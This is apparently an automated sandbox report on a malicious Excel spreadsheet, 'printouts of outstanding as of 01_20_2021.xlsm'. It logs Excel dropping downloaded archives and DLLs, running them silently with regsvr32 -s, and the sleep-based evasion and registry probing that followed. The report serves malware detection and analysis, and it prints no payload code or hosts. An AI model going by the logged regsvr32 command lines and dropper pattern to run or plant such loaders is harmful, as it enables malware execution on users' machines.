Source: unknown	Process created: C:\Windows\System32\regsvr32.exe 'C:\Windows\System32\regsvr32.exe' -s C:\Users\user\AppData\Local\Temp\zaviwlej.dll
Source: unknown	Process created: C:\Windows\System32\regsvr32.exe 'C:\Windows\System32\regsvr32.exe' -s C:\Users\user\AppData\Local\Temp\alajwj.dll
Source: unknown	Process created: C:\Windows\System32\regsvr32.exe 'C:\Windows\System32\regsvr32.exe' -s C:\Users\user\AppData\Local\Temp\ogsit.dll
Source: unknown	Process created: C:\Windows\System32\regsvr32.exe 'C:\Windows\System32\regsvr32.exe' -s C:\Users\user\AppData\Local\Temp\ogsit.dll
Source: unknown	Process created: C:\Windows\System32\regsvr32.exe 'C:\Windows\System32\regsvr32.exe' -s C:\Users\user\AppData\Local\Temp\ogsit.dll
Source: unknown	Process created: C:\Windows\SysWOW64\regsvr32.exe -s C:\Users\user\AppData\Local\Temp\ogsit.dll
Source: unknown	Process created: C:\Windows\System32\regsvr32.exe 'C:\Windows\System32\regsvr32.exe' -s C:\Users\user\AppData\Local\Temp\ogsit.dll
Source: unknown	Process created: C:\Windows\SysWOW64\regsvr32.exe -s C:\Users\user\AppData\Local\Temp\ogsit.dll
Source: unknown	Process created: C:\Windows\System32\regsvr32.exe 'C:\Windows\System32\regsvr32.exe' -s C:\Users\user\AppData\Local\Temp\ogsit.dll
Source: unknown	Process created: C:\Windows\SysWOW64\regsvr32.exe -s C:\Users\user\AppData\Local\Temp\ogsit.dll
Source: unknown	Process created: C:\Windows\System32\regsvr32.exe 'C:\Windows\System32\regsvr32.exe' -s C:\Users\user\AppData\Local\Temp\luwbghnz.dll
Source: unknown	Process created: C:\Windows\System32\regsvr32.exe 'C:\Windows\System32\regsvr32.exe' -s C:\Users\user\AppData\Local\Temp\zlgzuxvz.dll
Source: unknown	Process created: C:\Windows\System32\regsvr32.exe 'C:\Windows\System32\regsvr32.exe' -s C:\Users\user\AppData\Local\Temp\zlgzuxvz.dll
Source: unknown	Process created: C:\Windows\SysWOW64\regsvr32.exe -s C:\Users\user\AppData\Local\Temp\zlgzuxvz.dll
Source: unknown	Process created: C:\Windows\System32\regsvr32.exe 'C:\Windows\System32\regsvr32.exe' -s C:\Users\user\AppData\Local\Temp\zlgzuxvz.dll
Source: unknown	Process created: C:\Windows\SysWOW64\regsvr32.exe -s C:\Users\user\AppData\Local\Temp\zlgzuxvz.dll
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe 'C:\Windows\System32\regsvr32.exe' -s C:\Users\user\AppData\Local\Temp\zsijkwsd.dll	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe 'C:\Windows\System32\regsvr32.exe' -s C:\Users\user\AppData\Local\Temp\zsijkwsd.dll	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe 'C:\Windows\System32\regsvr32.exe' -s C:\Users\user\AppData\Local\Temp\zdkvrlsh.dll	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe 'C:\Windows\System32\regsvr32.exe' -s C:\Users\user\AppData\Local\Temp\zaviwlej.dll	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe 'C:\Windows\System32\regsvr32.exe' -s C:\Users\user\AppData\Local\Temp\alajwj.dll	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe 'C:\Windows\System32\regsvr32.exe' -s C:\Users\user\AppData\Local\Temp\ogsit.dll	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe 'C:\Windows\System32\regsvr32.exe' -s C:\Users\user\AppData\Local\Temp\ogsit.dll	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe 'C:\Windows\System32\regsvr32.exe' -s C:\Users\user\AppData\Local\Temp\ogsit.dll	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe 'C:\Windows\System32\regsvr32.exe' -s C:\Users\user\AppData\Local\Temp\ogsit.dll	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe 'C:\Windows\System32\regsvr32.exe' -s C:\Users\user\AppData\Local\Temp\ogsit.dll	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe 'C:\Windows\System32\regsvr32.exe' -s C:\Users\user\AppData\Local\Temp\luwbghnz.dll	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe 'C:\Windows\System32\regsvr32.exe' -s C:\Users\user\AppData\Local\Temp\zlgzuxvz.dll	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe 'C:\Windows\System32\regsvr32.exe' -s C:\Users\user\AppData\Local\Temp\zlgzuxvz.dll	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe 'C:\Windows\System32\regsvr32.exe' -s C:\Users\user\AppData\Local\Temp\zlgzuxvz.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\SysWOW64\regsvr32.exe -s C:\Users\user\AppData\Local\Temp\zsijkwsd.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\SysWOW64\regsvr32.exe -s C:\Users\user\AppData\Local\Temp\ogsit.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\SysWOW64\regsvr32.exe -s C:\Users\user\AppData\Local\Temp\ogsit.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\SysWOW64\regsvr32.exe -s C:\Users\user\AppData\Local\Temp\ogsit.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\SysWOW64\regsvr32.exe -s C:\Users\user\AppData\Local\Temp\zlgzuxvz.dll
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\SysWOW64\regsvr32.exe -s C:\Users\user\AppData\Local\Temp\zlgzuxvz.dll

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Automated click: OK
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Automated click: OK
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Automated click: OK
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Automated click: OK

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: printouts of outstanding as of 01_20_2021.xlsm	Initial sample: OLE zip file path = xl/media/image2.png
Source: printouts of outstanding as of 01_20_2021.xlsm	Initial sample: OLE zip file path = xl/media/image3.png
Source: printouts of outstanding as of 01_20_2021.xlsm	Initial sample: OLE zip file path = xl/worksheets/_rels/sheet2.xml.rels
Source: printouts of outstanding as of 01_20_2021.xlsm	Initial sample: OLE zip file path = xl/printerSettings/printerSettings2.bin
Source: printouts of outstanding as of 01_20_2021.xlsm	Initial sample: OLE zip file path = xl/printerSettings/printerSettings3.bin
Source: printouts of outstanding as of 01_20_2021.xlsm	Initial sample: OLE zip file path = xl/printerSettings/printerSettings4.bin

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source: printouts of outstanding as of 01_20_2021.xlsm

Initial sample: OLE indicators vbamacros = False

Data Obfuscation:

Source: unknown

Process created: C:\Windows\System32\regsvr32.exe 'C:\Windows\System32\regsvr32.exe' -s C:\Users\user\AppData\Local\Temp\zsijkwsd.dll

Persistence and Installation Behavior:

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\by9zwa7p1[1].zip	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\ylztwx[1].rar	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Temp\zsijkwsd.dll	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Temp\ogsit.dll	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\xkpffwn[1].zip	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Temp\zlgzuxvz.dll	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\h79fwesfe[1].rar	Jump to dropped file

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\h79fwesfe[1].rar	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\xkpffwn[1].zip	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\ylztwx[1].rar	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\by9zwa7p1[1].zip	Jump to dropped file

Hooking and other Techniques for Hiding and Protection:

Source: C:\Windows\SysWOW64\regsvr32.exe

Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion:

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\by9zwa7p1[1].zip	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\ylztwx[1].rar	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\xkpffwn[1].zip	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\h79fwesfe[1].rar	Jump to dropped file

Source: C:\Windows\SysWOW64\regsvr32.exe

Registry key enumerated: More than 564 enums for key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall

Source: C:\Windows\SysWOW64\regsvr32.exe TID: 1244	Thread sleep count: 55 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2488	Thread sleep time: -120000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 1244	Thread sleep time: -372000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 1244	Thread sleep time: -130000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 1244	Thread sleep time: -170000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 1244	Thread sleep time: -297000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 1244	Thread sleep time: -153000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 1244	Thread sleep time: -495000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 1244	Thread sleep time: -246000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 1244	Thread sleep time: -123000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 1244	Thread sleep time: -312000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 1244	Thread sleep time: -121000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 1244	Thread sleep time: -247000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 1244	Thread sleep time: -158000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 1244	Thread sleep time: -155000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 1244	Thread sleep time: -356000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 1244	Thread sleep time: -334000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 1244	Thread sleep time: -146000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 1244	Thread sleep time: -138000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 1244	Thread sleep time: -353000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 1244	Thread sleep time: -296000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 1244	Thread sleep time: -341000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 1244	Thread sleep time: -151000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 1244	Thread sleep time: -164000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 1244	Thread sleep time: -357000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 1244	Thread sleep time: -169000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 1244	Thread sleep time: -147000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 1244	Thread sleep time: -328000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 1244	Thread sleep time: -134000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 1244	Thread sleep time: -162000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 1244	Thread sleep time: -345000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 1244	Thread sleep time: -132000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2816	Thread sleep count: 55 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2812	Thread sleep time: -960000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2816	Thread sleep time: -166000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2816	Thread sleep time: -130000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2816	Thread sleep time: -132000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2816	Thread sleep time: -310000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2816	Thread sleep time: -143000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2816	Thread sleep time: -178000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2816	Thread sleep time: -155000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2816	Thread sleep time: -253000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2816	Thread sleep time: -120000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2816	Thread sleep time: -316000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2816	Thread sleep time: -164000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2816	Thread sleep time: -312000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2816	Thread sleep time: -125000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2816	Thread sleep time: -128000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2816	Thread sleep time: -167000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2816	Thread sleep time: -278000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2816	Thread sleep time: -270000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2816	Thread sleep time: -291000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2816	Thread sleep time: -150000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2816	Thread sleep time: -161000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2816	Thread sleep time: -151000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2816	Thread sleep time: -252000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2816	Thread sleep time: -173000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2816	Thread sleep time: -138000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2816	Thread sleep time: -146000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2816	Thread sleep time: -293000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2036	Thread sleep count: 55 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 1440	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2036	Thread sleep time: -290000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2036	Thread sleep time: -135000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2036	Thread sleep time: -174000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2036	Thread sleep time: -359000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2036	Thread sleep time: -175000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2036	Thread sleep time: -130000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2036	Thread sleep time: -314000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2036	Thread sleep time: -272000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2036	Thread sleep time: -142000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2036	Thread sleep time: -159000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2036	Thread sleep time: -328000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2036	Thread sleep time: -132000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2036	Thread sleep time: -140000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2036	Thread sleep time: -330000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2036	Thread sleep time: -166000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2036	Thread sleep time: -144000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2036	Thread sleep time: -282000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2036	Thread sleep time: -179000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2036	Thread sleep time: -146000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2036	Thread sleep time: -131000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2036	Thread sleep time: -353000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2036	Thread sleep time: -147000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2036	Thread sleep time: -163000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2036	Thread sleep time: -123000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2052	Thread sleep count: 55 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 1340	Thread sleep time: -1080000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2052	Thread sleep time: -124000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2052	Thread sleep time: -159000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2052	Thread sleep time: -167000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2052	Thread sleep time: -291000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2052	Thread sleep time: -130000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2052	Thread sleep time: -262000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2052	Thread sleep time: -332000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2052	Thread sleep time: -280000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2052	Thread sleep time: -150000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2052	Thread sleep time: -163000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2052	Thread sleep time: -309000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2052	Thread sleep time: -160000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2052	Thread sleep time: -147000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2052	Thread sleep time: -351000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2052	Thread sleep time: -151000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2052	Thread sleep time: -168000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2052	Thread sleep time: -258000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2052	Thread sleep time: -139000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2052	Thread sleep time: -161000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2052	Thread sleep time: -170000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2052	Thread sleep time: -129000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 1340	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 972	Thread sleep count: 55 > 30
